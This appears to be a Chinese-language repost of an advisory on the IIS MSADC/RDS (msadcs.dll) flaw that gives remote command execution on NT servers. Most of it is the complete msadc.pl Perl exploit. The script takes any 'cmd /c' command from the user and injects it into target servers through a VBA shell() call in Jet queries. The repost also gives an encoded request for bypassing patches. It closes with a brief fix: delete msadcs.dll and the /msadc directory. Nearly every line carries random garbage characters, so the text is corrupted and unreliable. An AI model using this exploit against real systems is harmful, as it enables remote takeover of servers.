IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Bv 7os3 xb TH~"y 涉及程序：
0"mr*hyj Microsoft NT server
- G=doP0 mU >lm7' 描述：
7aHP;X~0 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
tYhNr ~#=70 详细：
Et &PzDvU 如果你没有时间读详细内容的话，就删除:
U@LIw6B!KL c:\Program Files\Common Files\System\Msadc\msadcs.dll
Z ..s /K { 有关的安全问题就没有了。
=o[H2o
y & (NxkZp! 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
VexQ ] 22E I`}"J 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
r
<2&_$| 关于利用ODBC远程漏洞的描述，请参看:
ca' c5*Fs *3y_FTh8ra http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [-nPHmZV[ fTi5Ej*/?) 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
X $SXDb~G http://www.microsoft.com/security/bulletins/MS99-025faq.asp #\6k_toZ CmtDfE 这里不再论述。
58PL@H~@0 xv_Z$&9e>l 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
~01t_Xp qc T ?{F7 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
&M #}?@!C 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
9#\oGzDN t<SCrLbz 41i#w;ojI #将下面这段保存为txt文件，然后: "perl -x 文件名"
L#MMNc+ n-C FB:L #!perl
/,+&O#SX #
|bk$VT4\ # MSADC/RDS 'usage' (aka exploit) script
=qww|B92 #
9y;zk$ O8 # by rain.forest.puppy
jj g[v""3| #
r@G34Q C+ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
4z^VwKH\ j # beta test and find errors!
&C6*"JZ4 S|_"~Nd= use Socket; use Getopt::Std;
c,5 y H getopts("e:vd:h:XR", \%args);
L ?S#3@Pa Ot s] y print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
S\6.vw!' 8q|T`ac+N if (!defined $args{h} && !defined $args{R}) {
)fbYP@9>a print qq~
?b?YiK&yz Usage: msadc.pl -h <host> { -d <delay> -X -v }
AN+S6 t -h <host> = host you want to scan (ip or domain)
o_.`&Q6n -d <seconds> = delay between calls, default 1 second
vk3C&!M<a -X = dump Index Server path table, if available
Bv^5L>JZ/ -v = verbose
.Q DeS|l -e = external dictionary file for step 5
P5Pb2|\* Y58et9gRO Or a -R will resume a command session
piAFxS<6 v. > 95|8 ~; exit;}
[9~6, ;6 ov| pXi<e $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
WC g&* if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Q&&oP:4~X* if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
{BD G;e if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
x,QXOh\a $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Jy-V\.N>s if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
8LGN V&Edg OJ<V<=MYZ if (!defined $args{R}){ $ret = &has_msadc;
l ' Uj"9r, die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
{\n?IGP?wd u iaZ@ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
P:m6:F@hO . "cmd /c ";
N[sJ5o F $in=<STDIN>; chomp $in;
R rp-SR?O $command="cmd /c " . $in ;
A 7zL\U4 nZ# 0L`@"Y if (defined $args{R}) {&load; exit;}
_ O` s;oc ' -rRD\"q print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
]=(P tzVa &try_btcustmr;
.\"8H1I\T rp v<'$6 print "\nStep 2: Trying to make our own DSN...";
b yX) 4& &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
e0`5PVJ Vv*](iM print "\nStep 3: Trying known DSNs...";
Gg5+Ap D &known_dsn;
> |(L3UA9 'E4}++\ print "\nStep 4: Trying known .mdbs...";
Eu$hC]w &known_mdb;
oN= >U"<\1 bA/'IF+ if (defined $args{e}){
Z4D[nPm$ print "\nStep 5: Trying dictionary of DSN names...";
X=%e'P*X &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
t+A9nvj) 4&G
#Bi print "Sorry Charley...maybe next time?\n";
*m[ [>wE exit;
[(Ihu e H ~lvUHN ##############################################################################
ZO]P9b a}'dIDj sub sendraw { # ripped and modded from whisker
d, 0Klew sleep($delay); # it's a DoS on the server! At least on mine...
HEe_K!_ my ($pstr)=@_;
k6(0:/C socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
l6pvQ| die("Socket problems\n");
v`r*Yok;` if(connect(S,pack "SnA4x8",2,80,$target)){
:} D TK select(S); $|=1;
4 Xe8j55 print $pstr; my @in=<S>;
iB5'mb* select(STDOUT); close(S);
+*x9$LSD return @in;
m[Cp
G=32B } else { die("Can't connect...\n"); }}
# 2?3B \ 9#X]H ##############################################################################
gh.+}8= " .:B ;%* sub make_header { # make the HTTP request
NPLJ* uHH my $msadc=<<EOT
TECp!`)j" POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
|eP5iy wg User-Agent: ACTIVEDATA
FR6 PY Host: $ip
@J<RFgw# Content-Length: $clen
*)s^+F 0 Connection: Keep-Alive
] +T$ D Q Q./! ADCClientVersion:01.06
F?b"Rv Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Zo}vV 2 Z~ u 3{ --!ADM!ROX!YOUR!WORLD!
fY!9i5@' Content-Type: application/x-varg
cs*"9 nKl Content-Length: $reqlen
c2:oM<6| +w8$-eFY EOT
n {..Q,z ; $msadc=~s/\n/\r\n/g;
tiF-lq return $msadc;}
FM <`\ d' ?{wD%58^oG ##############################################################################
?vmoRX ;e6- * sub make_req { # make the RDS request
__`6 W1 my ($switch, $p1, $p2)=@_;
S%df'bh$ my $req=""; my $t1, $t2, $query, $dsn;
q5\iQ2f{WV #E#Fk3-ljQ if ($switch==1){ # this is the btcustmr.mdb query
Nu@dMG<5 $query="Select * from Customers where City=" . make_shell();
|
&/ _{ T $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
e;9x%kNs! $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Mt&n|']`8 @nIoIz
D~ elsif ($switch==2){ # this is general make table query
gPIl:, d( $query="create table AZZ (B int, C varchar(10))";
!EGpI@ $dsn="$p1";}
E_Fm5zb?X K7wU
tg elsif ($switch==3){ # this is general exploit table query
h8icF} m $query="select * from AZZ where C=" . make_shell();
[R<>3}50Y $dsn="$p1";}
L$v<t/W OuyO_DSI elsif ($switch==4){ # attempt to hork file info from index server
k \ \e`= $query="select path from scope()";
`Nv P)| $dsn="Provider=MSIDXS;";}
# {@qC2!2/ _,3%)sn-) elsif ($switch==5){ # bad query
z[0tM&pv $query="select";
2W }j bOy $dsn="$p1";}
u=7 #_ZC9L piXL6V @c $t1= make_unicode($query);
#?'@?0<6 $t2= make_unicode($dsn);
;Swy5z0=ro $req = "\x02\x00\x03\x00";
g1~wg$`S8S $req.= "\x08\x00" . pack ("S1", length($t1));
L+8O
4K{ $req.= "\x00\x00" . $t1 ;
s \0,@A $req.= "\x08\x00" . pack ("S1", length($t2));
C @u}tH
) $req.= "\x00\x00" . $t2 ;
I? _WV_T& $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
x; A.Ll return $req;}
"%#CMCE|f 5E
=!L
g ##############################################################################
&.P G2f* HF*j=qt! sub make_shell { # this makes the shell() statement
n _kE return "'|shell(\"$command\")|'";}
' 1X^@]+6 ,>Dpt < ##############################################################################
}H|'W[Q. F12$BK DH sub make_unicode { # quick little function to convert to unicode
5-UrHbpCZ# my ($in)=@_; my $out;
kc<5wY_t for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
lLLPvW[Q return $out;}
WG
+] ~bz$] o-< ##############################################################################
9K- ,#a uo bQ S! sub rdo_success { # checks for RDO return success (this is kludge)
vb3hDy my (@in) = @_; my $base=content_start(@in);
? 0 +N if($in[$base]=~/multipart\/mixed/){
svtqX-Vj" return 1 if( $in[$base+10]=~/^\x09\x00/ );}
?%$~Bb _ return 0;}
yYdh+ x
d
'\ ^S} ##############################################################################
~vcua@ ^ 0?ww&X sub make_dsn { # this makes a DSN for us
v
,zD52 my @drives=("c","d","e","f");
15d'/f print "\nMaking DSN: ";
-K/c~'%'* foreach $drive (@drives) {
f6 s .xQ print "$drive: ";
9U Hh#
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
hx ^ l "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
0bOT&Z^ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
ua,!kyS $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
#44}Snz return 0 if $2 eq "404"; # not found/doesn't exist
QwL*A `@ if($2 eq "200") {
25<qo{ foreach $line (@results) {
$GYy[8{:V return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
1p=bpJC } return 0;}
`cPZsL 2 a*+mw ##############################################################################
*E+VcU eOx8D|^W sub verify_exists {
@U9`V&])F[ my ($page)=@_;
dFmpx%+p my @results=sendraw("GET $page HTTP/1.0\n\n");
ay]l\d2!3 return $results[0];}
Y7;=\/SV tl`x/ ##############################################################################
zR ) /h
LIT`~ D sub try_btcustmr {
NDJP`FI my @drives=("c","d","e","f");
t:b}Mo0 my @dirs=("winnt","winnt35","winnt351","win","windows");
W
j`f^^\HJ |Qn>K foreach $dir (@dirs) {
t< " %m)J print "$dir -> "; # fun status so you can see progress
&"7+k5O foreach $drive (@drives) {
$LiBJ~vV< print "$drive: "; # ditto
.yD5 >iBh
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
)a9C3-8Y' $reqlenlen=length( "$reqlen" );
POf xN. $clen= 206 + $reqlenlen + $reqlen;
J0B*V0'zR }z q o<o my @results=sendraw(make_header() . make_req(1,$drive,$dir));
i*@ZIw if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
%,e,KcP' else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
_7~q | x=kJl GT ##############################################################################
z m]R76 {a15s6'd sub odbc_error {
@ !^Y_q my (@in)=@_; my $base;
$k`j";8uR my $base = content_start(@in);
5
ed|]LP if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
(LJ7xoJ^ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`ZT/lB` $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
JP^\
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*E a)b - return $in[$base+4].$in[$base+5].$in[$base+6];}
AQ,"):ofvT print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
oTri t_@3 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
We vd6)\ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
&h_Y?5k K t+\ <i8 ##############################################################################
}pGj c_:'] sE
^YOT< sub verbose {
6cD3 (// my ($in)=@_;
^f9@ =I return if !$verbose;
/:"^,i\t print STDOUT "\n$in\n";}
]c
bXI R7O<>kt ##############################################################################
^ E.mG> e X6o 7a sub save {
Q<KF<K'0hg my ($p1, $p2, $p3, $p4)=@_;
GMB3`&qh open(OUT, ">rds.save") || print "Problem saving parameters...\n";
sL ;;'S & print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
<[ u(il close OUT;}
GVfRy@7n ddd2w ##############################################################################
1(RRjT 9 I:6XM? sub load {
&Pc.[k my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/1$u|Gs
* open(IN,"<rds.save") || die("Couldn't open rds.save\n");
7|jy:F,w% @p=<IN>; close(IN);
VLJ]OW8cO $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
fxmY,{{ $target= inet_aton($ip) || die("inet_aton problems");
J _ q print "Resuming to $ip ...";
p<?lF $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
a*iKpr- : if($p[1]==1) {
@!}/$[hu1 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
A.h0 H]*Ma $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
\v$ zU my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
{Ppb ; if (rdo_success(@results)){print "Success!\n";}
7U^{xDg.b else { print "failed\n"; verbose(odbc_error(@results));}}
N(3Bzd) elsif ($p[1]==3){
kDxI7$]E if(run_query("$p[3]")){
EBiLe;=X print "Success!\n";} else { print "failed\n"; }}
Z elsif ($p[1]==4){
O+/{[9s if(run_query($drvst . "$p[3]")){
Zj_2B_|WN# print "Success!\n"; } else { print "failed\n"; }}
L,ax^] exit;}
wG6Oz2( pr ed{HEye ##############################################################################
h:sf?X[ Db;>MWt+e sub create_table {
'-Oh$hqCx| my ($in)=@_;
|o*qZ} 6 $reqlen=length( make_req(2,$in,"") ) - 28;
.v+ W> $reqlenlen=length( "$reqlen" );
dB S_N/ $clen= 206 + $reqlenlen + $reqlen;
~*]7f%L- my @results=sendraw(make_header() . make_req(2,$in,""));
G9G HBwT return 1 if rdo_success(@results);
06Q9X!xD my $temp= odbc_error(@results); verbose($temp);
s^4wn:*$zd return 1 if $temp=~/Table 'AZZ' already exists/;
0)7v _|z return 0;}
+5 gX6V\ fEiN HV x ##############################################################################
] w0Y5H " {47Uu%XT sub known_dsn {
Y3s8@0b3 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
m AET`B " my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
mN . "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
S)W?W}*R\ "banner", "banners", "ads", "ADCDemo", "ADCTest");
ecO$L<9> ma!C:C9#J foreach $dSn (@dsns) {
>< P<k& print ".";
7=Pj}x) next if (!is_access("DSN=$dSn"));
j>l if(create_table("DSN=$dSn")){
hJ8% r_ print "$dSn successful\n";
2I& dTxIa if(run_query("DSN=$dSn")){
DY{v@
<3 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
G) c+GoK print "Something's borked. Use verbose next time\n";}}} print "\n";}
<a&xhG} aQf2}kD ##############################################################################
lQ4^I^?m _MuzD&^qE sub is_access {
uXvE>VpJG my ($in)=@_;
G N=8;Kq% $reqlen=length( make_req(5,$in,"") ) - 28;
R y (<6u0 $reqlenlen=length( "$reqlen" );
B&< 5VjZ\ $clen= 206 + $reqlenlen + $reqlen;
MgN;[4|[h my @results=sendraw(make_header() . make_req(5,$in,""));
z`I%3U5( my $temp= odbc_error(@results);
_[i.)8$7 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
dw!Xt@,[g{ return 0;}
@ &rf?: q/Ji}NGm ##############################################################################
QMmZvz\^ aBQ @n sub run_query {
qn{4AWmJ my ($in)=@_;
%s9*?6 $reqlen=length( make_req(3,$in,"") ) - 28;
@<X[,Mj $reqlenlen=length( "$reqlen" );
dm40qj $clen= 206 + $reqlenlen + $reqlen;
[O|c3; my @results=sendraw(make_header() . make_req(3,$in,""));
Qh6 vH9(D return 1 if rdo_success(@results);
j 9GKz1 my $temp= odbc_error(@results); verbose($temp);
e'c3.sQ|? return 0;}
'HCR i Z< ;l<Hen* ##############################################################################
m7Ry FnR2 .j"heYF) sub known_mdb {
x\yr~$}(J my @drives=("c","d","e","f","g");
;]=@;? 9 my @dirs=("winnt","winnt35","winnt351","win","windows");
JUXBMYFus my $dir, $drive, $mdb;
!0 |&f>y my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
L<XX?I\p [+#k+*1 *o # this is sparse, because I don't know of many
\
bWy5/+ my @sysmdbs=( "\\catroot\\icatalog.mdb",
w ZbT*rU "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
$sZ4r>- "\\system32\\certmdb.mdb",
SG&H^V8 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
f)gV2f0t yx6^ mis4 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
`[XH =-p "\\cfusion\\cfapps\\forums\\forums_.mdb",
0;, Y_61
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
;=E}Pb Zt2 "\\cfusion\\cfapps\\security\\realm_.mdb",
HZS.%+2 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
m!!;CbPo "\\cfusion\\database\\cfexamples.mdb",
6 b?K-)kL "\\cfusion\\database\\cfsnippets.mdb",
R/Sm "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
&gJ @"`r4 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
|u$*'EsP "\\cfusion\\brighttiger\\database\\cleam.mdb",
w)1SZ } "\\cfusion\\database\\smpolicy.mdb",
WE_'u+!B "\\cfusion\\database\cypress.mdb",
s SD&'K=lq "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
yd'cLZd<} "\\website\\cgi-win\\dbsample.mdb",
7}~nQl2 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
.x/H2r'1 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
!vc 5NKv#n ); #these are just
~k?t foreach $drive (@drives) {
xaV3N[Zd foreach $dir (@dirs){
Z![#Uz.z foreach $mdb (@sysmdbs) {
G;A print ".";
]W%rhppC if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
qoZAZ&|HI print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
u`oJ3mS; if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
<Hz11
}<( print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
CDW| cr{ } else { print "Something's borked. Use verbose next time\n"; }}}}}
7~ZG"^k SrOv*
D 3 foreach $drive (@drives) {
kkj@!1q(wO foreach $mdb (@mdbs) {
>yqEXx5{ print ".";
#)#'^MZX if(create_table($drv . $drive . $dir . $mdb)){
2t print "\n" . $drive . $dir . $mdb . " successful\n";
;A*s ub if(run_query($drv . $drive . $dir . $mdb)){
.> PwbZ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
K:Z, 4Y } else { print "Something's borked. Use verbose next time\n"; }}}}
A)d0Z6G` }
E 5c)\
D <5CQ#^ cK ##############################################################################
e%{7CR'~TD 66+]D4(k sub hork_idx {
9)j"|5H print "\nAttempting to dump Index Server tables...\n";
KBI 1t$ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
d4Y[}F cp+ $reqlen=length( make_req(4,"","") ) - 28;
I F//bgk- $reqlenlen=length( "$reqlen" );
-GQ.B{%G $clen= 206 + $reqlenlen + $reqlen;
T2m ZkK?rA my @results=sendraw2(make_header() . make_req(4,"",""));
V/R@ =[ if (rdo_success(@results)){
L;b-=mF my $max=@results; my $c; my %d;
(5[ #?_~ for($c=19; $c<$max; $c++){
36.mf_AM $results[$c]=~s/\x00//g;
6(1
&6|o3 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
S_VzmCi $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
- ~lrv#5Q $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
!VrBoU 4<d $d{"$1$2"}="";}
irjHPuhcG foreach $c (keys %d){ print "$c\n"; }
akHQ&+[j } else {print "Index server doesn't seem to be installed.\n"; }}
|L-- j I>-}ys`[ ##############################################################################
*] k E3 r.:f.AY{ sub dsn_dict {
q?L*Luu+ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
wJvk while(<IN>){
G`;mSq6i $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
F%{z E ANm next if (!is_access("DSN=$dSn"));
b
Hy<`p0 if(create_table("DSN=$dSn")){
[ei5QSL | print "$dSn successful\n";
I9U
8@e!X if(run_query("DSN=$dSn")){
Y!|}; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(.{. " print "Something's borked. Use verbose next time\n";}}}
m5KLi
&R print "\n"; close(IN);}
QEx&AT =Q|s[F ##############################################################################
\(5Bi3PA} AJRiwP|H+ sub sendraw2 { # ripped and modded from whisker
}2Im?Q sleep($delay); # it's a DoS on the server! At least on mine...
8-K4*(-dL my ($pstr)=@_;
{z'Gg socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
YsO`1D die("Socket problems\n");
Rob: W| if(connect(S,pack "SnA4x8",2,80,$target)){
aIWpgUd` print "Connected. Getting data";
(ijO|%? open(OUT,">raw.out"); my @in;
MU N: }S select(S); $|=1; print $pstr;
=3,Sj me while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
nXxnyom, close(OUT); select(STDOUT); close(S); return @in;
p 4b6TI9; } else { die("Can't connect...\n"); }}
:4COPUBpPV [FW B ##############################################################################
W}wd?WIps H@k$sZ. sub content_start { # this will take in the server headers
^1--7#H my (@in)=@_; my $c;
2Paw *"U for ($c=1;$c<500;$c++) {
#KtV 4)( if($in[$c] =~/^\x0d\x0a/){
P|aSbsk:I< if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
FOcDBCr Oe else { return $c+1; }}}
ab 6D & return -1;} # it should never get here actually
Mq6_Q07 `] Vn[^?D ##############################################################################
$,T3vX]< .3
^*_ sub funky {
q#Ik3 5 my (@in)=@_; my $error=odbc_error(@in);
Yc(lY
N if($error=~/ADO could not find the specified provider/){
_ `7[}M~ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
_)# ~D*3 exit;}
(fO~nN{F if($error=~/A Handler is required/){
$>%zNq-F print "\nServer has custom handler filters (they most likely are patched)\n";
6(HJYa exit;}
L +)mZb& if($error=~/specified Handler has denied Access/){
qZSW5lC0 print "\nServer has custom handler filters (they most likely are patched)\n";
!|Y&h0e exit;}}
?
5h wz "n<u(m8E ##############################################################################
+,9Muf h '9|R7 sub has_msadc {
^}GR!990 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
e}L(tXZ my $base=content_start(@results);
;[Hrpl
S return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
R"PO@v return 0;}
Q@UY4gA ' q{)Q ?E ########################
%E2C4UbY .>( qZ EF E95VR?nUg 解决方案：
] m^ECA$ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
.MRLA G 2、移除web 目录: /msadc
